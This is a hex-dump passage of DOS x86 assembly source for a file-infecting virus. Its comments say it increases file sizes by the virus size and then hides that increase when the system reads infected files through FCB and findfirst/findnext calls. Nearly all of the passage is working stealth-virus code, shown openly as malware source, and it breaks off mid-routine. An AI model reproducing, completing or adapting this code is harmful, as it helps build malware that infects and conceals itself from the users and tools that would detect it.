|000056d0| 5d 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |]       |        |
|000056e0| 3b 20 28 63 68 65 63 6b | 73 75 6d 20 3d 20 30 29 |; (check|sum = 0)|
|000056f0| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|00005700| 20 20 61 64 64 20 20 20 | 20 20 61 78 2c 5b 62 78 |  add   |  ax,[bx|
|00005710| 2b 34 5d 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |+4]..   |        |
|00005720| 20 20 20 20 20 6a 7a 20 | 20 20 20 20 20 46 43 42 |     jz |     FCB|
|00005730| 72 65 61 64 69 6e 66 65 | 63 74 65 64 66 69 6c 65 |readinfe|ctedfile|
|00005740| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|00005750| 20 20 61 64 64 20 20 20 | 20 20 73 70 2c 34 20 20 |  add   |  sp,4  |
|00005760| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00005770| 20 20 3b 20 6e 6f 20 69 | 6e 66 65 63 74 69 6f 6e |  ; no i|nfection|
|00005780| 2c 20 6e 6f 20 73 74 65 | 61 6c 74 68 0d 0a 20 20 |, no ste|alth..  |
|00005790| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 6a 6d |        |      jm|
|000057a0| 70 20 20 20 20 20 73 68 | 6f 72 74 20 5f 70 6f 70 |p     sh|ort _pop|
|000057b0| 61 6c 6c 5f 74 68 65 6e | 5f 65 78 69 74 69 6e 74 |all_then|_exitint|
|000057c0| 32 31 20 3b 20 6e 65 65 | 64 65 64 0d 0a 46 43 42 |21 ; nee|ded..FCB|
|000057d0| 72 65 61 64 69 6e 66 65 | 63 74 65 64 66 69 6c 65 |readinfe|ctedfile|
|000057e0| 3a 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |:..     |        |
|000057f0| 20 20 20 70 6f 70 20 20 | 20 20 20 64 78 20 20 20 |   pop  |   dx   |
|00005800| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00005810| 20 20 20 3b 20 72 65 73 | 74 6f 72 65 20 61 64 64 |   ; res|tore add|
|00005820| 72 65 73 73 20 6f 66 20 | 74 68 65 20 46 43 42 0d |ress of |the FCB.|
|00005830| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00005840| 20 70 6f 70 20 20 20 20 | 20 64 73 0d 0a 20 20 20 | pop    | ds..   |
|00005850| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 |        |     mov|
|00005860| 20 20 20 20 20 73 69 2c | 64 78 0d 0a 20 20 20 20 |     si,|dx..    |
|00005870| 20 20 20 20 20 20 20 20 | 20 20 20 20 70 75 73 68 |        |    push|
|00005880| 20 20 20 20 63 73 0d 0a | 20 20 20 20 20 20 20 20 |    cs..|        |
|00005890| 20 20 20 20 20 20 20 20 | 70 6f 70 20 20 20 20 20 |        |pop     |
|000058a0| 65 73 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |es..    |        |
|000058b0| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 64 69 2c 6f |    mov |    di,o|
|000058c0| 66 66 73 65 74 20 74 65 | 6d 70 46 43 42 20 20 20 |ffset te|mpFCB   |
|000058d0| 20 20 20 20 3b 20 63 6f | 70 79 20 46 43 42 20 74 |    ; co|py FCB t|
|000058e0| 6f 20 74 65 6d 70 6f 72 | 61 72 79 20 6f 6e 65 0d |o tempor|ary one.|
|000058f0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00005900| 20 6d 6f 76 20 20 20 20 | 20 63 78 2c 32 35 68 0d | mov    | cx,25h.|
|00005910| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00005920| 20 72 65 70 20 20 20 20 | 20 6d 6f 76 73 62 0d 0a | rep    | movsb..|
|00005930| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00005940| 6d 6f 76 20 20 20 20 20 | 64 69 2c 6f 66 66 73 65 |mov     |di,offse|
|00005950| 74 20 74 65 6d 70 46 43 | 42 0d 0a 20 20 20 20 20 |t tempFC|B..     |
|00005960| 20 20 20 20 20 20 20 20 | 20 20 20 70 75 73 68 20 |        |   push |
|00005970| 20 20 20 63 73 0d 0a 20 | 20 20 20 20 20 20 20 20 |   cs.. |        |
|00005980| 20 20 20 20 20 20 20 70 | 6f 70 20 20 20 20 20 64 |       p|op     d|
|00005990| 73 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |s..     |        |
|000059a0| 20 20 20 6d 6f 76 20 20 | 20 20 20 61 78 2c 5b 64 |   mov  |   ax,[d|
|000059b0| 69 2b 31 30 68 5d 20 20 | 20 20 20 20 20 20 20 20 |i+10h]  |        |
|000059c0| 20 20 20 3b 20 67 65 74 | 20 6f 6c 64 20 66 69 6c |   ; get| old fil|
|000059d0| 65 20 73 69 7a 65 0d 0a | 20 20 20 20 20 20 20 20 |e size..|        |
|000059e0| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 |        |mov     |
|000059f0| 64 78 2c 5b 64 69 2b 31 | 32 68 5d 0d 0a 20 20 20 |dx,[di+1|2h]..   |
|00005a00| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 61 64 64 |        |     add|
|00005a10| 20 20 20 20 20 61 78 2c | 31 30 30 46 68 20 20 20 |     ax,|100Fh   |
|00005a20| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 69 |        |     ; i|
|00005a30| 6e 63 72 65 61 73 65 20 | 62 79 20 76 69 72 75 73 |ncrease |by virus|
|00005a40| 20 73 69 7a 65 0d 0a 20 | 20 20 20 20 20 20 20 20 | size.. |        |
|00005a50| 20 20 20 20 20 20 20 61 | 64 63 20 20 20 20 20 64 |       a|dc     d|
|00005a60| 78 2c 30 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |x,0     |        |
|00005a70| 20 20 20 20 20 20 20 3b | 20 61 6e 64 20 72 6f 75 |       ;| and rou|
|00005a80| 6e 64 20 74 6f 20 74 68 | 65 20 6e 65 61 72 65 73 |nd to th|e neares|
|00005a90| 74 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |t..     |        |
|00005aa0| 20 20 20 61 6e 64 20 20 | 20 20 20 61 78 2c 30 46 |   and  |   ax,0F|
|00005ab0| 46 46 30 68 20 20 20 20 | 20 20 20 20 20 20 20 20 |FF0h    |        |
|00005ac0| 20 20 20 3b 20 70 61 72 | 61 67 72 61 70 68 0d 0a |   ; par|agraph..|
|00005ad0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00005ae0| 6d 6f 76 20 20 20 20 20 | 5b 64 69 2b 31 30 68 5d |mov     |[di+10h]|
|00005af0| 2c 61 78 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |,ax     |        |
|00005b00| 3b 20 69 6e 73 65 72 74 | 20 6e 65 77 20 66 69 6c |; insert| new fil|
|00005b10| 65 20 73 69 7a 65 0d 0a | 20 20 20 20 20 20 20 20 |e size..|        |
|00005b20| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 |        |mov     |
|00005b30| 5b 64 69 2b 31 32 68 5d | 2c 64 78 0d 0a 20 20 20 |[di+12h]|,dx..   |
|00005b40| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 73 75 62 |        |     sub|
|00005b50| 20 20 20 20 20 61 78 2c | 30 46 46 43 68 0d 0a 20 |     ax,|0FFCh.. |
|00005b60| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 73 |        |       s|
|00005b70| 62 62 20 20 20 20 20 64 | 78 2c 30 0d 0a 20 20 20 |bb     d|x,0..   |
|00005b80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 |        |     mov|
|00005b90| 20 20 20 20 20 5b 64 69 | 2b 32 31 68 5d 2c 61 78 |     [di|+21h],ax|
|00005ba0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 73 |        |     ; s|
|00005bb0| 65 74 20 6e 65 77 20 72 | 61 6e 64 6f 6d 20 72 65 |et new r|andom re|
|00005bc0| 63 6f 72 64 20 23 0d 0a | 20 20 20 20 20 20 20 20 |cord #..|        |
|00005bd0| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 |        |mov     |
|00005be0| 5b 64 69 2b 32 33 68 5d | 2c 64 78 0d 0a 20 20 20 |[di+23h]|,dx..   |
|00005bf0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 |        |     mov|
|00005c00| 20 20 20 20 20 77 6f 72 | 64 20 70 74 72 20 5b 64 |     wor|d ptr [d|
|00005c10| 69 2b 30 45 68 5d 2c 31 | 20 20 20 20 20 3b 20 72 |i+0Eh],1|     ; r|
|00005c20| 65 63 6f 72 64 20 73 69 | 7a 65 20 3d 20 31 0d 0a |ecord si|ze = 1..|
|00005c30| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00005c40| 6d 6f 76 20 20 20 20 20 | 63 78 2c 31 43 68 0d 0a |mov     |cx,1Ch..|
|00005c50| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00005c60| 6d 6f 76 20 20 20 20 20 | 64 78 2c 64 69 0d 0a 20 |mov     |dx,di.. |
|00005c70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6d |        |       m|
|00005c80| 6f 76 20 20 20 20 20 61 | 68 2c 32 37 68 20 20 20 |ov     a|h,27h   |
|00005c90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b |        |       ;|
|00005ca0| 20 72 61 6e 64 6f 6d 20 | 62 6c 6f 63 6b 20 72 65 | random |block re|
|00005cb0| 61 64 20 31 43 68 20 62 | 79 74 65 73 0d 0a 20 20 |ad 1Ch b|ytes..  |
|00005cc0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 63 61 |        |      ca|
|00005cd0| 6c 6c 20 20 20 20 63 61 | 6c 6c 69 6e 74 32 31 0d |ll    ca|llint21.|
|00005ce0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00005cf0| 20 6a 6d 70 20 20 20 20 | 20 5f 70 6f 70 61 6c 6c | jmp    | _popall|
|00005d00| 5f 74 68 65 6e 5f 65 78 | 69 74 69 6e 74 32 31 0d |_then_ex|itint21.|
|00005d10| 0a 0d 0a 46 43 42 67 65 | 74 66 69 6c 65 73 69 7a |...FCBge|tfilesiz|
|00005d20| 65 3a 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |e:..    |        |
|00005d30| 20 20 20 20 70 75 73 68 | 20 20 20 20 63 73 0d 0a |    push|    cs..|
|00005d40| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00005d50| 70 6f 70 20 20 20 20 20 | 65 73 0d 0a 20 20 20 20 |pop     |es..    |
|00005d60| 20 20 20 20 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |        |    mov |
|00005d70| 20 20 20 20 73 69 2c 64 | 78 0d 0a 20 20 20 20 20 |    si,d|x..     |
|00005d80| 20 20 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |        |   mov  |
|00005d90| 20 20 20 64 69 2c 6f 66 | 66 73 65 74 20 74 65 6d |   di,of|fset tem|
|00005da0| 70 46 43 42 20 20 20 20 | 20 20 20 3b 20 63 6f 70 |pFCB    |   ; cop|
|00005db0| 79 20 46 43 42 20 74 6f | 20 74 65 6d 70 20 62 75 |y FCB to| temp bu|
|00005dc0| 66 66 65 72 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |ffer..  |        |
|00005dd0| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 63 78 |      mo|v     cx|
|00005de0| 2c 30 30 32 35 68 0d 0a | 20 20 20 20 20 20 20 20 |,0025h..|        |
|00005df0| 20 20 20 20 20 20 20 20 | 72 65 70 7a 20 20 20 20 |        |repz    |
|00005e00| 6d 6f 76 73 62 0d 0a 20 | 20 20 20 20 20 20 20 20 |movsb.. |        |
|00005e10| 20 20 20 20 20 20 20 70 | 75 73 68 20 20 20 20 64 |       p|ush    d|
|00005e20| 73 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |s..     |        |
|00005e30| 20 20 20 70 75 73 68 20 | 20 20 20 64 78 0d 0a 20 |   push |   dx.. |
|00005e40| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 70 |        |       p|
|00005e50| 75 73 68 20 20 20 20 63 | 73 0d 0a 20 20 20 20 20 |ush    c|s..     |
|00005e60| 20 20 20 20 20 20 20 20 | 20 20 20 70 6f 70 20 20 |        |   pop  |
|00005e70| 20 20 20 64 73 0d 0a 20 | 20 20 20 20 20 20 20 20 |   ds.. |        |
|00005e80| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 64 |       m|ov     d|
|00005e90| 78 2c 6f 66 66 73 65 74 | 20 74 65 6d 70 46 43 42 |x,offset| tempFCB|
|00005ea0| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|00005eb0| 20 20 6d 6f 76 20 20 20 | 20 20 61 68 2c 30 46 68 |  mov   |  ah,0Fh|
|00005ec0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00005ed0| 20 20 3b 20 46 43 42 20 | 6f 70 65 6e 20 66 69 6c |  ; FCB |open fil|
|00005ee0| 65 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |e..     |        |
|00005ef0| 20 20 20 63 61 6c 6c 20 | 20 20 20 63 61 6c 6c 69 |   call |   calli|
|00005f00| 6e 74 32 31 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |nt21..  |        |
|00005f10| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 61 68 |      mo|v     ah|
|00005f20| 2c 31 30 68 20 20 20 20 | 20 20 20 20 20 20 20 20 |,10h    |        |
|00005f30| 20 20 20 20 20 20 3b 20 | 46 43 42 20 63 6c 6f 73 |      ; |FCB clos|
|00005f40| 65 20 66 69 6c 65 0d 0a | 20 20 20 20 20 20 20 20 |e file..|        |
|00005f50| 20 20 20 20 20 20 20 20 | 63 61 6c 6c 20 20 20 20 |        |call    |
|00005f60| 63 61 6c 6c 69 6e 74 32 | 31 0d 0a 20 20 20 20 20 |callint2|1..     |
|00005f70| 20 20 20 20 20 20 20 20 | 20 20 20 74 65 73 74 20 |        |   test |
|00005f80| 20 20 20 62 79 74 65 20 | 70 74 72 20 5b 74 65 6d |   byte |ptr [tem|
|00005f90| 70 46 43 42 2b 31 35 68 | 5d 2c 38 30 68 20 3b 20 |pFCB+15h|],80h ; |
|00005fa0| 63 68 65 63 6b 20 64 61 | 74 65 20 62 69 74 0d 0a |check da|te bit..|
|00005fb0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00005fc0| 70 6f 70 20 20 20 20 20 | 73 69 0d 0a 20 20 20 20 |pop     |si..    |
|00005fd0| 20 20 20 20 20 20 20 20 | 20 20 20 20 70 6f 70 20 |        |    pop |
|00005fe0| 20 20 20 20 64 73 0d 0a | 20 20 20 20 20 20 20 20 |    ds..|        |
|00005ff0| 20 20 20 20 20 20 20 20 | 6a 7a 20 20 20 20 20 20 |        |jz      |
|00006000| 77 69 6c 6c 5f 65 78 69 | 74 6f 74 68 65 72 69 6e |will_exi|totherin|
|00006010| 74 32 31 20 20 20 20 20 | 3b 20 65 78 69 74 20 69 |t21     |; exit i|
|00006020| 66 20 6e 6f 74 20 69 6e | 66 65 63 74 65 64 0d 0a |f not in|fected..|
|00006030| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00006040| 6c 65 73 20 20 20 20 20 | 62 78 2c 64 77 6f 72 64 |les     |bx,dword|
|00006050| 20 70 74 72 20 63 73 3a | 5b 74 65 6d 70 46 43 42 | ptr cs:|[tempFCB|
|00006060| 2b 31 30 68 5d 20 3b 20 | 67 65 74 20 66 69 6c 65 |+10h] ; |get file|
|00006070| 73 69 7a 65 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |size..  |        |
|00006080| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 61 78 |      mo|v     ax|
|00006090| 2c 65 73 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |,es..   |        |
|000060a0| 20 20 20 20 20 73 75 62 | 20 20 20 20 20 62 78 2c |     sub|     bx,|
|000060b0| 31 30 30 30 68 20 20 20 | 20 20 20 20 20 20 20 20 |1000h   |        |
|000060c0| 20 20 20 20 20 3b 20 68 | 69 64 65 20 69 6e 63 72 |     ; h|ide incr|
|000060d0| 65 61 73 65 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |ease..  |        |
|000060e0| 20 20 20 20 20 20 73 62 | 62 20 20 20 20 20 61 78 |      sb|b     ax|
|000060f0| 2c 30 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |,0..    |        |
|00006100| 20 20 20 20 78 6f 72 20 | 20 20 20 20 64 78 2c 64 |    xor |    dx,d|
|00006110| 78 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |x..     |        |
|00006120| 20 20 20 6d 6f 76 20 20 | 20 20 20 63 78 2c 77 6f |   mov  |   cx,wo|
|00006130| 72 64 20 70 74 72 20 63 | 73 3a 5b 74 65 6d 70 46 |rd ptr c|s:[tempF|
|00006140| 43 42 2b 30 65 68 5d 20 | 3b 20 67 65 74 20 72 65 |CB+0eh] |; get re|
|00006150| 63 6f 72 64 20 73 69 7a | 65 0d 0a 20 20 20 20 20 |cord siz|e..     |
|00006160| 20 20 20 20 20 20 20 20 | 20 20 20 64 65 63 20 20 |        |   dec  |
|00006170| 20 20 20 63 78 0d 0a 20 | 20 20 20 20 20 20 20 20 |   cx.. |        |
|00006180| 20 20 20 20 20 20 20 61 | 64 64 20 20 20 20 20 62 |       a|dd     b|
|00006190| 78 2c 63 78 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |x,cx..  |        |
|000061a0| 20 20 20 20 20 20 61 64 | 63 20 20 20 20 20 61 78 |      ad|c     ax|
|000061b0| 2c 30 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |,0..    |        |
|000061c0| 20 20 20 20 69 6e 63 20 | 20 20 20 20 63 78 0d 0a |    inc |    cx..|
|000061d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|000061e0| 64 69 76 20 20 20 20 20 | 63 78 0d 0a 20 20 20 20 |div     |cx..    |
|000061f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |        |    mov |
|00006200| 20 20 20 20 5b 73 69 2b | 32 33 68 5d 2c 61 78 20 |    [si+|23h],ax |
|00006210| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 66 69 |        |    ; fi|
|00006220| 78 20 72 61 6e 64 6f 6d | 20 61 63 63 65 73 73 20 |x random| access |
|00006230| 72 65 63 6f 72 64 20 23 | 0d 0a 20 20 20 20 20 20 |record #|..      |
|00006240| 20 20 20 20 20 20 20 20 | 20 20 78 63 68 67 20 20 |        |  xchg  |
|00006250| 20 20 64 78 2c 61 78 0d | 0a 20 20 20 20 20 20 20 |  dx,ax.|.       |
|00006260| 20 20 20 20 20 20 20 20 | 20 78 63 68 67 20 20 20 |        | xchg   |
|00006270| 20 62 78 2c 61 78 0d 0a | 20 20 20 20 20 20 20 20 | bx,ax..|        |
|00006280| 20 20 20 20 20 20 20 20 | 64 69 76 20 20 20 20 20 |        |div     |
|00006290| 63 78 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |cx..    |        |
|000062a0| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 5b 73 69 2b |    mov |    [si+|
|000062b0| 32 31 68 5d 2c 61 78 20 | 20 20 20 20 20 20 20 20 |21h],ax |        |
|000062c0| 20 20 20 20 3b 20 66 69 | 78 20 72 61 6e 64 6f 6d |    ; fi|x random|
|000062d0| 20 61 63 63 65 73 73 20 | 72 65 63 6f 72 64 20 23 | access |record #|
|000062e0| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|000062f0| 20 20 6a 6d 70 20 20 20 | 20 20 5f 70 6f 70 61 6c |  jmp   |  _popal|
|00006300| 6c 5f 74 68 65 6e 5f 65 | 78 69 74 69 6e 74 32 31 |l_then_e|xitint21|
|00006310| 0d 0a 0d 0a 66 69 6c 65 | 6e 61 6d 65 66 69 6e 64 |....file|namefind|
|00006320| 66 69 72 73 74 6e 65 78 | 74 3a 0d 0a 20 20 20 20 |firstnex|t:..    |
|00006330| 20 20 20 20 20 20 20 20 | 20 20 20 20 61 6e 64 20 |        |    and |
|00006340| 20 20 20 20 77 6f 72 64 | 20 70 74 72 20 63 73 3a |    word| ptr cs:|
|00006350| 69 6e 74 32 31 66 6c 61 | 67 73 2c 2d 32 20 3b 20 |int21fla|gs,-2 ; |
|00006360| 74 75 72 6e 20 6f 66 66 | 20 74 72 61 70 20 66 6c |turn off| trap fl|
|00006370| 61 67 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |ag..    |        |
|00006380| 20 20 20 20 63 61 6c 6c | 20 20 20 20 5f 70 6f 70 |    call|    _pop|
|00006390| 61 6c 6c 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |all..   |        |
|000063a0| 20 20 20 20 20 63 61 6c | 6c 20 20 20 20 63 61 6c |     cal|l    cal|
|000063b0| 6c 69 6e 74 32 31 0d 0a | 20 20 20 20 20 20 20 20 |lint21..|        |
|000063c0| 20 20 20 20 20 20 20 20 | 63 61 6c 6c 20 20 20 20 |        |call    |
|000063d0| 5f 70 75 73 68 61 6c 6c | 0d 0a 20 20 20 20 20 20 |_pushall|..      |
|000063e0| 20 20 20 20 20 20 20 20 | 20 20 6a 6e 62 20 20 20 |        |  jnb   |
|000063f0| 20 20 66 69 6c 65 6e 61 | 6d 65 66 66 66 6e 4f 4b |  filena|mefffnOK|
+--------+-------------------------+-------------------------+--------+--------+
Only 25.0 KB of data is shown above.